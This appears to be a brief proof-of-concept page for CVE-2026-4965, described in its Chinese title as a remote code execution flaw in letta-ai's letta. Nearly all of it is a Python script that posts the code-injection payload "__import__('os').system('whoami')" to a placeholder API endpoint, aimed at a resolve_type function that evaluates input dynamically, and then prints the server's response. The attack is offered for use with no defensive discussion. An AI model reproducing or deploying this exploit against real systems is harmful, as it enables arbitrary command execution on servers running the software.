CVE-2026-4965 letta-ai letta 远程代码执行漏洞

import requests # Target URL (Example) target_url = "http://target-host:port/api/endpoint" # Malicious payload targeting the resolve_type function # Exploiting improper neutralization in dynamically evaluated code payload = { "type_input": "__import__('os').system('whoami')" } try: # Sending the malicious request response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send payload.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")